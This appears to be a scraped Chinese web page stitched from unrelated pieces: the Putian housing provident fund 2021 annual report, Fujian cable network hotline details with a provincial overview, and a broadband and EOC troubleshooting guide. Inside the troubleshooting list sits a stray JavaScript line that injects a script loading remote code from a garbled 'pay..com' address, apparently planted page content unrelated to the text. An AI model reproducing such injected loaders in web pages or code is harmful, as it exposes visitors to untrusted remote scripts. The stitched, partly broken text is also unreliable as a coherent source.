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A. 莆田市住房公積金電話

根據國務院《住房公積金管理條例》和住房和城鄉建設部、財政部、人民銀行《關於健全住房公積金信息披露制度的通知》(建金〔2015〕26號)的規定，經住房公積金管理委員會審議通過，現將莆田市住房公積金2021年年度報告公布如下：
一、機構概況
（一）住房公積金管理委員會：住房公積金管理委員會有23名委員，2021年召開4次會議，審議通過的事項主要包括：2020年度住房公積金繳存使用計劃執行情況及2021年度預算；調整住房公積金業務政策；莆田市靈活就業人員自願繳存住房公積金實施細則；公積金徵信接入人民銀行徵信報送系統等。
（二）住房公積金管理中心：住房公積金管理中心為直屬莆田市人民政府不以營利為目的事業單位，設6個科，4個管理部。從業人員63人，其中，在編42人，非在編21人。
二、業務運行情況
（一）繳存：2021年，新開戶單位1029家，凈增單位581家；新開戶職工2.9萬人，凈增職工1.47萬人；實繳單位6352家，實繳職工22.4萬人，繳存額34.75億元，分別同比增長10.07%、7.02%、11.8%。2021年末，繳存總額270.93億元，比上年末增加14.71%；繳存余額109.51億元，同比增長9.38%，受委託辦理住房公積金繳存業務的銀行6家。
（二）提取：2021年，7.42萬名繳存職工提取住房公積金；提取額25.36億元，同比增長18.2%；提取額占當年繳存額的72.98%，比上年增加3.93個百分點。2021年末，提取總額161.42億元，比上年末增加18.64%。
（三）貸款。
1.個人住房貸款：單繳存職工個人住房貸款最高額度45萬元，雙繳存職工個人住房貸款最高額度55萬元。
2021年，發放個人住房貸款0.45萬筆18.19億元，同比分別下降24.28%、25.04%。
2021年，回收個人住房貸款9.43億元。
2021年末，累計發放個人住房貸款5.29萬筆161.38億元，貸款余額96.45億元，分別比上年末增加9.23%、12.71%、10.00%。個人住房貸款余額占繳存余額的96.51%，比上年末增加9.03個百分點。受委託辦理住房公積金個人住房貸款業務的銀行6家。
2.異地貸款：2021年，發放異地貸款8筆314.40萬元。2021年末，發放異地貸款總額314.40萬元，異地貸款余額313.9萬元。
3.公轉商貼息貸款：2021年，未發放公轉商貼息貸款，當年貼息額1341.93萬元。2021年末，累計發放公轉商貼息貸款8125筆361298.60萬元，累計貼息10442.86萬元。
4.住房公積金支持保障性住房建設項目貸款：2021年，本中心未開展住房公積金支持保障性住房建設項目貸款。
（四）購買國債：2021年，本中心未購買國債，國債余額0億元。
（五）資金存儲：2021年末，住房公積金存款15.28億元。其中，活期0.03億元，1年（含）以下定期9.28億元，其他(協定、通知存款等)5.97億元。
（六）資金運用率：2021年末，住房公積金個人住房貸款余額、項目貸款余額和購買國債余額的總和占繳存余額的88.08%，比上年末增加0.5個百分點。
三、主要財務數據
（一）業務收入：2021年，業務收入33476.2萬元，同比增長11.52%。；存款利息4018.74萬元，委託貸款利息29454.47萬元，其他2.99萬元。
（二）業務支出：2021年，業務支出17728.24萬元，同比下降0.64%；支付職工住房公積金利息15787.99萬元，歸集手續費640.75萬元，委託貸款手續費628.45萬元，其他671.05萬元。
（三）增值收益：2021年，增值收益15747.96萬元，同比增長29.34%；增值收益率1.51%，比上年增加0.23個百分點。
（四）增值收益分配：2021年，提取貸款風險准備金3507.38萬元；，提取管理費用1003.00萬元，提取城市廉租住房（公共租賃住房）建設補充資金11237.58萬元。
2021年，上交財政管理費1241.84萬元。上繳財政城市廉租住房（公共租賃住房）建設補充資金6225.39萬元。
2021年末，貸款風險准備金余額38579.51萬元。累計提取城市廉租住房（公共租賃住房）建設補充資金78334.78萬元。
（五）管理費用支出：2021年，管理費用支出1003萬元，同比下降3.08%。其中，人員經費679.39萬元，公用經費57.99萬元，專項經費265.62萬元。
四、資產風險狀況
（一）個人住房貸款：2021年末，個人住房貸款逾期額143.19萬元，逾期率0.148‰。個人貸款風險准備金余額38579.51萬元。2021年，使用個人貸款風險准備金核銷呆壞賬0萬元。
（二）支持保障性住房建設試點項目貸款：2021年，本中心未開展住房公積金支持保障性住房建設項目貸款。
五、社會經濟效益
（一）繳存業務。
繳存職工中，國家機關和事業單位佔39.79%，國有企業佔15.25%，城鎮集體企業佔1.71%，外商投資企業佔9.27%，城鎮私營企業及其他城鎮企業佔30.88%，民辦非企業單位和社會團體佔1.85%，靈活就業人員佔0.04%，其他佔1.21%；中、低收入佔98.08%，高收入佔1.92%。
新開戶職工中，國家機關和事業單位佔18.44%，國有企業佔11.33%，城鎮集體企業佔1.75%，外商投資企業佔8.37%，城鎮私營企業及其他城鎮企業佔56.19%，民辦非企業單位和社會團體佔2.18%，靈活就業人員佔0.16%，其他佔1.58%；中、低收入佔99.47%，高收入佔0.46%。
（二）提取業務。
提取金額中，購買、建造、翻建、大修自住住房佔26.13%，償還購房貸款本息佔52.55%，租賃住房佔1.78%，支持老舊小區改造佔0.06%，離休和退休提取佔11.42%，完全喪失勞動能力並與單位終止勞動關系提取佔5.11%，其他佔2.95%。提取職工中，中、低收入佔97.4%，高收入佔2.6%。
（三）貸款業務。
1.個人住房貸款：2021年，支持職工購建房54.24萬平方米（含公轉商貼息貸款），年末個人住房貸款市場佔有率（含公轉商貼息貸款）為8.85%，比上年末減少3.05個百分點。通過申請住房公積金個人住房貸款，可節約職工購房利息支出34144.31萬元。
職工貸款筆數中，購房建築面積90（含）平方米以下佔8.07%，90-144（含）平方米佔84.58%，144平方米以上佔7.35%。購買新房佔93.81%（其中購買保障性住房佔0%），購買二手房佔6.19%。
職工貸款筆數中，單繳存職工申請貸款佔50.68%，雙繳存職工申請貸款佔49.14%，三人及以上繳存職工共同申請貸款佔0.18%。
貸款職工中，30歲（含）以下佔20.69%，30歲-40歲（含）佔49.70%，40歲-50歲（含）佔22.53%，50歲以上佔7.09%；購買首套住房申請貸款佔93.07%，購買二套及以上申請貸款佔3.93%；中、低收入佔97.74%，高收入佔2.06%。
2.支持保障性住房建設試點項目貸款。2021年末，本中心未開展支持保障性住房建設項目貸款。
（四）住房貢獻率。
2021年，個人住房貸款發放額、公轉商貼息貸款發放額、項目貸款發放額、住房消費提取額的總和與當年繳存額的比率為111.11%，比上年減少19.68個百分點。
六、其他重要事項
（一）當年機構及職能調整情況、受委託辦理繳存貸款業務金融機構變更情況。
新增中信銀行莆田分行接入住房公積金綜合管理信息系統,受託辦理繳存、貸款業務。
（二）當年住房公積金政策調整及執行情況，包括當年繳存基數限額及確定方法、繳存比例等繳存政策調整情況；當年提取政策調整情況；當年個人住房貸款最高貸款額度、貸款條件等貸款政策調整情況；當年住房公積金存貸款利率執行標准等；支持老舊小區改造政策落實情況。
一是2021年繳存基數限額及確定方法、繳存比例等繳存政策調整情況。
2021年月繳存工資基數上限：單位及其職工最高月繳存基數為2020年莆田市社平工資6276元的3倍為18828元；月繳存工資基數下限：市本級、仙游縣、城廂區、荔城區、涵江區、秀嶼區、湄洲灣北岸、湄洲島轄區單位及其職工的最低月繳存工資基數為1570元。繳存比例為5％—12%。
二是2021年住房公積金提取、貸款政策調整情況。
取消提取住房公積金用於低收入家庭標準的繳存職工支付名下一套住宅物業服務費用事項，率先在福建省新增更為優惠的高層次人才支持政策，即對於已使用過一次住房公積金貸款購建房的高層次人才，結清住房公積金貸款滿6個月後，可再次使用住房公積金貸款。
三是支持老舊小區改造政策落實情況。2021年共辦理10筆城市既有住宅增設電梯提取公積金業務，提取金額163.53萬元。
四是出台個人自願繳存政策情況。經莆田市住房公積金管理委員會五屆十一次全體成員會議審議通過，出台《莆田市靈活就業人員自願繳存公積金實施細則（試行）》，開展靈活就業人員自願繳存公積金業務，讓更多中低收入人群享受到公積金政策紅利。自7月1日細則施行以來，莆田市共有自願繳存人員1234人。
（三）當年服務改進情況，包括推進住房公積金服務「跨省通辦」工作情況，服務網點、服務設施、服務手段、綜合服務平台建設和其他網路載體建設服務情況等。
一是大力推進「跨省通辦」。在各縣區管理部服務大廳和市行政服務中心公積金綜合服務窗口專設公積金「跨省通辦」服務窗口,配備專職人員通過「全程網辦」、「代收代辦」和「兩地聯辦」等形式，受理全國范圍內個人住房公積金繳存貸款信息查詢、出具貸款職工住房公積金繳存使用證明等8個「跨省通辦」事項，全年已辦理13107筆跨省通辦業務。與掛鉤城市固原市和西吉縣政務服務中心開展「個人賬戶信息變更」等11項公積金業務「跨省通辦」合作，在當地辦事大廳探索「E政務」自助機跨區域部署，推動更多政務服務事項「跨省通辦」，有效滿足企業和繳存職工異地辦事需求，提升跨區域公積金服務水平；二是積極開展「一件事」集成套餐服務。與相關部門溝通協調，在福建省率先開展5項住房公積金「一件事」集成套餐服務，其中與市市場監督管理局聯合推出了企業公積金賬戶開戶「一件事」集成套餐服務；與市人社局聯合推出了離退休提取住房公積金、個人公積金賬戶轉移「一件事」集成套餐服務，自開辦以來共辦理了165件；與市不動產登記登記中心聯合推出了購買二手房提取住房公積金「一件事」集成套餐服務，自開辦以來共辦理了24件；與市不動產登記登記中心聯合推出了住房公積金貸款「一件事」集成套餐服務，自開辦以來共辦理了83件，該創新服務模式得到了省住建廳的充分肯定和市創新項目績效評審小組的好評；三是福建省首批開通跨中心公積金貸款還貸網上提取業務。凡在福建省其它公積金中心（不含廈門）辦理公積金貸款（含組合貸款）的莆田繳存職工，均可在莆田公積金網上服務大廳和微信公眾號上辦理公積金貸款還貸提取業務，足不出戶盡享跨中心遠距離的網上貼心服務，切實解決繳存和貸款不在同一個公積金中心辦理的職工提取難題，2021年有273位繳存職工網上辦理跨中心公積金貸款還貸提取業務，累計提取金額974.57萬元；四是全面拓展辦事網點。積極參與市行政服務中心「莆田政務便民服務站」建設，將公積金業務嵌入莆田政務自助服務終端，進駐各「黨建+」鄰里中心和便民服務中心，與已嵌入建行網點的智慧櫃員機形成自助辦覆蓋網，滿足群眾「就近辦」需求。目前公積金業務已嵌入自助服務終端及智慧櫃員機136台；五是持續提升窗口服務質效。嚴格執行「首問責任制」、「一次性告知」、工作日午間延時和周六上午錯時服務等制度，統一服務標准，窗口總辦件量、即辦率和全程網辦率皆位居莆田市前三名。制定《窗口差異化績效考評實施方案》，通過評先評優、差異化績效獎勵，充分調動幹部的積極性、主動性，激發和積聚推動工作的強大合力。深入踐行「一線工作法」，持續開展「領導坐班」「四進基層」等活動為群眾解決「急難愁盼」問題，深入高層次人才較為集中的莆田學院，有針對性地開展住房公積金高層次人才及港澳台同胞優惠政策宣傳，現場受理院內教職工公積金貸款業務，實現貸款業務辦理「一趟不用跑」。活動當天共為43戶購房職工辦理了公積金及組合貸款2662萬元，得到廣大教職工的高度贊揚和好評；主要領導積極主動參與「12345熱線現場接聽」，即時解決問題，為廣大市民群眾答疑解惑，最大程度地便民利民惠民；六是拓寬公積金政策宣傳渠道。加強與傳統媒體合作，通過與湄洲日報、東南網莆田站、莆田廣播電視台、莆田廣電網路有限公司等的緊密合作，做到公積金宣傳在報刊上有字、電視上有影，提高群眾對公積金制度的知曉率，擴大社會影響力。藉助新興媒體的優勢，在官方網站、微信公眾號上及時發布公積金最新政策資訊，讓群眾深入了解公積金優惠政策。2021年門戶網站發布信息動態110多條，微信公眾號推送消息52條，關注人數突破5.9萬，福建省首家建立住房公積金執行聯動協作機制工作在省委辦公廳《八閩快訊》平台上刊登宣傳，開通自願繳存、跨省通辦等業務資訊先後在湄洲快訊、興化要訊、湄洲日報等平台上刊登，有力地宣傳了住房公積金政策和業務知識，樹立並維護了中心的良好對外形象。
（四）當年信息化建設情況，包括信息系統升級改造情況，基礎數據標准貫徹落實和結算應用系統接入情況等。
一是做好與全國住房公積金監管服務平台的對接工作。按照住建部全國住房公積金監管服務平台使用工作視頻會議的要求，做好了住房公積金綜合管理信息系統與全國住房公積金監管服務平台的對接工作，完成了中心相關業務接入全國住房公積金微信小程序工作，繳存職工可通過全國住房公積金小程序辦理公積金繳存信息查詢、公積金貸款信息查詢、異地轉移接續申請及其它便民服務等功能服務；二是做好系統網路安全保障。對中心業務系統、網路設備、安全設備與安全軟體進行安全維護，加大技術力量重點對網頁防篡改、網站入侵檢測、漏洞掃描、抗拒絕服務攻擊防火牆等網廳的安全運維。委託的網路安全運維公司每周對公積金網上辦事大廳、微信公眾號、H5鏈接安全檢測進行安全檢測，使中心的業務信息系統在安全的網路環境下正常運行。按照要求協同市數字辦和市委網信辦先後開展了2次網路安全攻防演練，在演練中積累了網路安全運維經驗，取得了良好的演練效果。
（五）當年住房公積金管理中心及職工所獲榮譽情況，包括：文明單位（行業、窗口）、青年文明號、工人先鋒號、五一勞動獎章（勞動模範）、三八紅旗手（巾幗文明崗）、先進集體和個人等。
榮獲第十四屆（2018-2020年度）省級文明單位稱號，被市委市政府評為一類平安單位，公積金窗口榮獲莆田市流動紅旗窗口，一名黨員榮當市第八次黨代會黨代表，多名幹部職工被評選為服務之星。
（六）當年對違反《住房公積金管理條例》和相關法規行為進行行政處罰和申請人民法院強制執行情況。
全年共發函通知各受託銀行起訴貸款逾期人員16名，金額662.06萬元，法院受理9名，金額410.78萬元，另有3名通過法院解決，金額96.09萬元，已結清8人，金額263.14萬元。
（來源：莆田市人民政府網站） 【投稿、區域合作請郵件 信息新報 3469887933#qq.com24小時內回復。】

B. 福建廣電網路24小時服務熱線

福建廣電網路24小時服務熱線是0591—96311和0592—96311。

經營范圍包括包括廣播電視信息網路的建設、開發、經營管理和維護，廣播電視節目收轉、傳送。廣播電視網路信息服務、咨詢，廣播影視節目策劃、製作、發行。有線廣播電視分配網的設計與施工，衛星地面接收設施設計、安裝、施工。

也包括配電開關控制設備、高壓開關、低壓開關、高低壓電器成套設備、電器元件、工業自動化控制設備、高低壓電器及配件、高低壓開關櫃、機電設備、電力設備、電線電纜、儀器儀表研發、製造、加工、銷售。

福建的介紹

福建地處中國東南部、東海之濱，陸域介於北緯23°33′至28°20′、東經115°50′至120°40′之間，東隔台灣海峽與台灣省相望，東北與浙江省毗鄰，西北橫貫武夷山脈與江西省交界，西南與廣東省相連，連接長江三角洲和珠江三角洲。其是中國大陸重要的出海口，也是中國與世界交往的重要窗口和基地。全省陸域面積12.4萬平方千米，海域面積13.6萬平方千米。

福建境內峰嶺聳峙，丘陵連綿，河谷、盆地穿插其間，山地、丘陵佔全省總面積的80%以上，素有「八山一水一分田」之稱。地勢總體上西北高東南低，橫斷面略呈馬鞍形。因受新華夏構造體系的控制，在西部和中部形成北東向斜貫全省的閩西大山帶和閩中大山帶。

以上內容參考：網路—福建

C. 廣電網路維護員日常維護中常見過的問題和解決方法

日常維護中會碰到的問題
①時常掉線故障
一、檢查網線是否松動
由於線路過長，接頭過多，或存在一些干擾源，很可能引發掉線，還有劣質、不符合標準的網線經常會引起網路不穩定，所以當發現掉線了，要先檢查一下網線介面是否鬆了。 二、電源信號燈是否恆亮 倘若電源信號燈不亮，首先要排查電源方面的問題。如是否因市電供電不穩定造成掉線，ADSL Modem本身的電源是否存在問題等。
用手觸摸ADSL Modem外殼，感覺非常燙手，此時不妨將ADSL Modem暫時關機待到冷卻後再開機使用，或者把它放置到比較通風的位置，這樣也可以消除掉線故障。 三、檢查數據信號是否正常
如果數據信號燈不亮，則很可能是線路出現斷路、短路等現象，如果數據信號燈閃爍，則很有可能是線路接觸不良引起的，你必須檢查一下接頭是否牢固、ADSL連接線路是否太長等。如果按以上步驟檢查完後，數據信號燈仍然不能恆亮，說明該故障與線路無關。 四、網卡信號燈是否穩定
正常情況下，計算機中的網卡通過網線與ADSL Modem連接後，它的信號燈應該不停閃爍或恆亮。如果網卡信號燈出現不穩定的狀態時，即不亮或不閃爍，則說明很有可能是網卡與網線的連接出現了故障。
此外，還需檢查一下網卡是否松動，網卡驅動程序的安裝是否正確，網卡資源是否發生沖突，網線接頭是否松動。如果仍然不能恢復正常，說明該故障不是由網卡或網線引起的。 五、網路地址不能沖突
ADSL Modem的IP地址發生了沖突，或者DNS伺服器地址設置錯誤，也會引起掉線。 檢查DNS地址是否設置正確、TCP/IP參數是否發生了變化。完成這些排查工作後，如果仍然不能消除故障，你就得從撥號軟體上找找原因了。
六、檢查撥號軟體是否正常工作
首先用滑鼠雙擊系統桌面中的撥號程序，執行寬頻撥號連接操作，要是發現在撥號過程中系統出現「無法連接」的錯誤提示時，可以單擊提示窗口中的「重試」按鈕，重新撥號3到5次後無法成功連接的話，將寬頻「貓」電源關閉一段時間然後再打開再進行重新撥號操作，如果故障依然存在，嘗試將TCP/IP協議刪除，然後重新安裝TCP/IP協議並正確設置。倘若還是無法成功進行撥號，不妨將計算機系統重新啟動一下，然後再進行反復撥號;要是這樣的努力不能解決問題，關閉貓2-5分鍾，還不行聯系96311工作人員賬號刷新。 七、負載過大
負載過大也是致使寬頻掉線的原因之一，如我們經常使用的BT，如寬頻共享網路中有些人正在進行BT下載，很可能出現負載過大的情況，使路由器掉線，拔掉路由器測試。 八、共享寬頻機子的數量
由於一般路由器的帶機數量有限，無線路由也是如此。當無線路由器帶機過多時就會造成網路負載過大從而出現死機、掉線的問題出現。拔掉路由器測試。 九、感染病毒導致上網掉線 使用殺毒軟體進行查殺。
②關於EOC安裝過程中出現的問題及其解決方案
1.終端貓上的cable燈每隔差不多1秒的時間閃爍一次，不能上網的情況。但是正常情況下是在很快的頻閃，這種情況表示有可能線路中的放大器沒有被跨接，需要一級一級往下檢查放大器。

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

2.在比較接近頭端的放大器前後測得電平數據為50-60db 而在用戶家裡測得的電平數據卻有60-70db，按正常情況分析，越往後走，信號的電平強度越弱，而出現這樣的情況也說明線路中的某段出了問題，一般也就是在放大器處出問題（這次去莆田荔園小區處理問題時就發現線路中的放大器跨接器被廣電人員無故拆除，造成用戶家裡不能上網），這種情況就要先弄懂從光節點到該用戶家裡線路中放大器的情況，根據所得情況去一個一個的檢查放大器跨接器是否有問題。
3.對於信號衰減非常大的問題（在光節點出來後所測電平很高，但在一級放大器之後所測信號降低了非常多，這也是線路問題）當時就問廣電部門人員關於這段線路的走位情況，後來得知，在線路中有一個地下井，里有一段線纜損壞嚴重，經過重新連接或者更換連接頭後所測電平恢復正常值，還有就是線纜的連接頭製作不好，對於信號的有很大的影響。
4.測試入戶匯流排上無任何信號，是由於廣電線路入戶線斷線，連通線路即可。
5．用戶端上網時電視有受一點影響，是由於用戶室內同軸線介面不正規或用戶未使用分支、分配器分線，而是將同軸線路的銅芯直接絞合在一起。重做接頭或接上正規的分配器即可解決問題。
6.入戶匯流排信號電平值夠，通過分支、分配器信號衰減過大無法穩定上網，是由於分支、分配器質量差，需更換正規設備。
7.過流分配器的衰減在14db左右(看不同型號好，主要以分幾路為參照，越多路衰減越大。)，盡量在過流分配器後混合信號，以減小信號的衰減。
8.提示678的不同情況，上網測試發現連接出現678錯誤，說明終端到頭端是不可達，說明從ip機房到用戶終端都有可能在某處存在問題
（1）cable燈穩定，首先重啟貓和電腦，觀察貓燈是否正常重新亮起，然後把貓上的同軸線和網線拔下，觀察貓燈是否正常熄滅。如果不正常，換個貓再試，
（2）cable燈不亮，首先檢查貓是否正常，然後檢查貓後同軸線是否接好，中間是否斷線。若同個頭端的其他用戶都出現cable燈不亮，則檢查頭端是否正常與主幹同軸線是否斷線。若同個頭端的其他用戶正常，用場強儀檢查用戶貓後的同軸線中低頻信號的電平是否滿足需求。
（3）cable燈慢閃爍，用場強儀檢查用戶貓後的同軸線中低頻信號的電平是否滿足需求。
10.在用戶家裡某些介面能正常上網，某些介面不能，是由於用戶室內線路未全部連通，重新將線路接好即可。
11.電視信號正常，但所有閉路介面無網路信號（測試入戶匯流排正常有網路信號）是由於用戶自己室內有接放大器，接跨接器即可。

12.出現線連接好了，電源燈閃爍，其他兩個燈不亮的情況，可以試著把貓的電源多拔插幾次。等燈能正常亮就可以了。如果還不行，可以換個貓試試。
13.提示691，先檢查用戶名和密碼是否輸入錯誤，大小寫是否正確。確認輸入無誤則重裝撥號，還不行就重啟電腦。
14.提示769，先檢查本地連接是否存在。 （1）存在則檢查是否被禁用。啟用即可。
（2）不存在則在設備管理器中查看網卡是否正常。一般是網卡被禁用或驅動丟失。也有網卡本身故障的可能。
提示633，734，735，645，711 重啟電腦，重裝撥號軟體。